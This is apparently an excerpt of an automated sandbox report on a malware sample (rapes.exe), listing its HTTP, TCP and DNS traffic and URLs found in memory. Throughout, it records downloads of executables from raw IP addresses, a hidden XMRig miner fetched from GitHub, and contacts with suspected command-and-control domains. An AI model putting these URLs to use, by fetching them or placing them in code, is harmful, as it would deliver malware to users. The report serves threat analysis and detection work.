Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3276800-3538943User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3538944-3801087User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3801088-4063231User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4063232-4587519User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4587520-5111807User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=5111808-5606383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /

Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.6
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.7

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 11_2_002305B0 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetReadFile,

11_2_002305B0

Source: global traffic	HTTP traffic detected: GET /ZATFQO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: grabify.link
Source: global traffic	HTTP traffic detected: GET /images/pixel.png HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: grabify.linkCookie: g_session=eyJpdiI6Imd4RnNzQlgxRStCUnVoUjI0YS9saGc9PSIsInZhbHVlIjoiMGUzUDRpc091V2EyV2luaG5EZ0JwQVNTV0g2c2lMV1EweG5meUlaMGRuNkIyVE5QNkZ1czBWZEI1TXpwelVlSVE0OVY1VnJvOFR4bitLUVlycjNHdUF0NStHdkVKM0l1UVBreFo1b0FpMFFCc3FsV0FkdGpmendCem50dzRFUm0iLCJtYWMiOiJjOTBhZDc1YmVhOWQwYTU0MjFiZjMwMjAxZTA1N2NhZmRkOTQxZGYxYmEyZjBmNTg3NzQyYjUyZWE0NWE2M2MyIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IjcvTzJKUC80dHFPOHJwMlJFb2x4cmc9PSIsInZhbHVlIjoibXNWdWxGWFpaellSd3V6VnRqNTF5bnEzSVJBMDg2MFZQZ3FYNWc0ZkJCTTQ3dXZoTW9kNGcvK2ZtOEpKSDBvNmVoejZscHJtS1F6Njgza092RVR1aDgxZEhlN1lEZzkvYmNiTktYZytOWXh6RTlKU3MxbzM5UXU4MHVpSXRvLzkiLCJtYWMiOiI4NWM4MDQ5ZDNkMDlmMWQyMDAxMzFkYzNmMjY4ODNmOGRhYmY0MDIwZWM3MWVhNDE3ODVmZTg4YTUyYzc5ZDkxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/941574414/a60ae169-71b6-4ff4-95a3-536733a417a3?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250313%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250313T070912Z&X-Amz-Expires=300&X-Amz-Signature=1f4899236d229a08f0fc5e683cadf260c265bd9762f334088a5639b9cf80dd66&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Dxmrig-hidden.exe&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comUser-Agent: Go-http-client/1.1Referer: https://github.com/letzchipman7/fallen/releases/download/v1.0.0/xmrig-hidden.exeAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /files/6142491850/s7MG2VL.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/7033027882/ZqkKpwG.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/8061344923/eAzoDbY.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /app/8sb9w_003.exe HTTP/1.1Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: GET /files/809453437/yo7qmvz.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /data/003 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: GET /clean HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36Host: 107.174.192.179
Source: global traffic	HTTP traffic detected: GET /files/1482809150/st22BJg.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=65536-81919User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=32768-49151User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=49152-65535User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=81920-98303User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=114688-131071User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=0-16383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=98304-114687User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=16384-32767User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=131072-163839User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=163840-196607User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=196608-229375User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=229376-262143User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=262144-294911User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=294912-327679User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=327680-360447User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=360448-393215User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=393216-458751User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=458752-524287User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=524288-589823User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=589824-655359User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=655360-720895User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=720896-786431User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=786432-851967User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=851968-917503User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=917504-1048575User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1048576-1179647User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1179648-1310719User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1310720-1441791User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1441792-1572863User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1572864-1703935User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1703936-1835007User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1835008-1966079User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=1966080-2228223User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2228224-2490367User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2490368-2752511User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=2752512-3014655User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3014656-3276799User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3276800-3538943User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3538944-3801087User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=3801088-4063231User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4063232-4587519User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=4587520-5111807User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /003/01/d1 HTTP/1.1Host: 104.168.28.10Range: bytes=5111808-5606383User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:21.0) Gecko/20100101 Firefox/10.3Accept: /
Source: global traffic	HTTP traffic detected: GET /files/6003232782/EZs3CZC.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: GET /files/2043702969/dx3hXS1.exe HTTP/1.1Host: 176.113.115.7

Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: 50.23.12.20.in-addr.arpa
Source: global traffic	DNS traffic detected: DNS query: citydisco.bet
Source: global traffic	DNS traffic detected: DNS query: jowinjoinery.icu
Source: global traffic	DNS traffic detected: DNS query: grabify.link
Source: global traffic	DNS traffic detected: DNS query: crosshairc.life
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com

Source: unknown

HTTP traffic detected: POST /gdJIS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: citydisco.bet

Source: ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d14
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d17
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1C
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1F
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1I
Source: ps.exe, 00000026.00000002.2200423469.0000000002353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1INEER-PC
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1O
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1V
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1_
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1m
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1o
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1r
Source: ps.exe, 00000026.00000003.2171813616.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2173387975.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000002.2201192070.00000000026C5000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2171373397.00000000026C4000.00000004.00000020.00020000.00000000.sdmp, ps.exe, 00000026.00000003.2175690155.00000000026C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1x
Source: ps.exe, 00000026.00000002.2200704202.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://104.168.28.10/003/01/d1y
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.174.192.179/app/8sb9w_003.exe
Source: 8sb9w_003.exe, 0000001C.00000002.2039039883.0000000000475000.00000004.00000001.01000000.00000011.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27AF000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27B3000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2477479962.000001DBE480F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2477479962.000001DBE4806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.174.192.179/clean
Source: 8sb9w_003.exe, 0000001C.00000002.2039039883.0000000000475000.00000004.00000001.01000000.00000011.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27AF000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2470240834.000001DBE27B3000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2477479962.000001DBE480F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.2477479962.000001DBE4806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.174.192.179/data/003
Source: rapes.exe, 0000000B.00000002.2491465283.00000000061F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://156.229.233.194:8080/mio.exe
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php
Source: rapes.exe, 0000000B.00000002.2476906113.000000000135F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php-
Source: rapes.exe, 0000000B.00000002.2476906113.000000000135F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php;
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.e
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.ef;
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe
Source: rapes.exe, 0000000B.00000002.2476906113.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe.v=9
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe1a
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe1dac1.exe
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe1dac97d7a
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe1dac97d7aeN
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exe1dac97d7aee7f
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exects
Source: rapes.exe, 0000000B.00000002.2476906113.00000000013BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/files/1203326979/0aA3omN.exex3hXS1.exe4
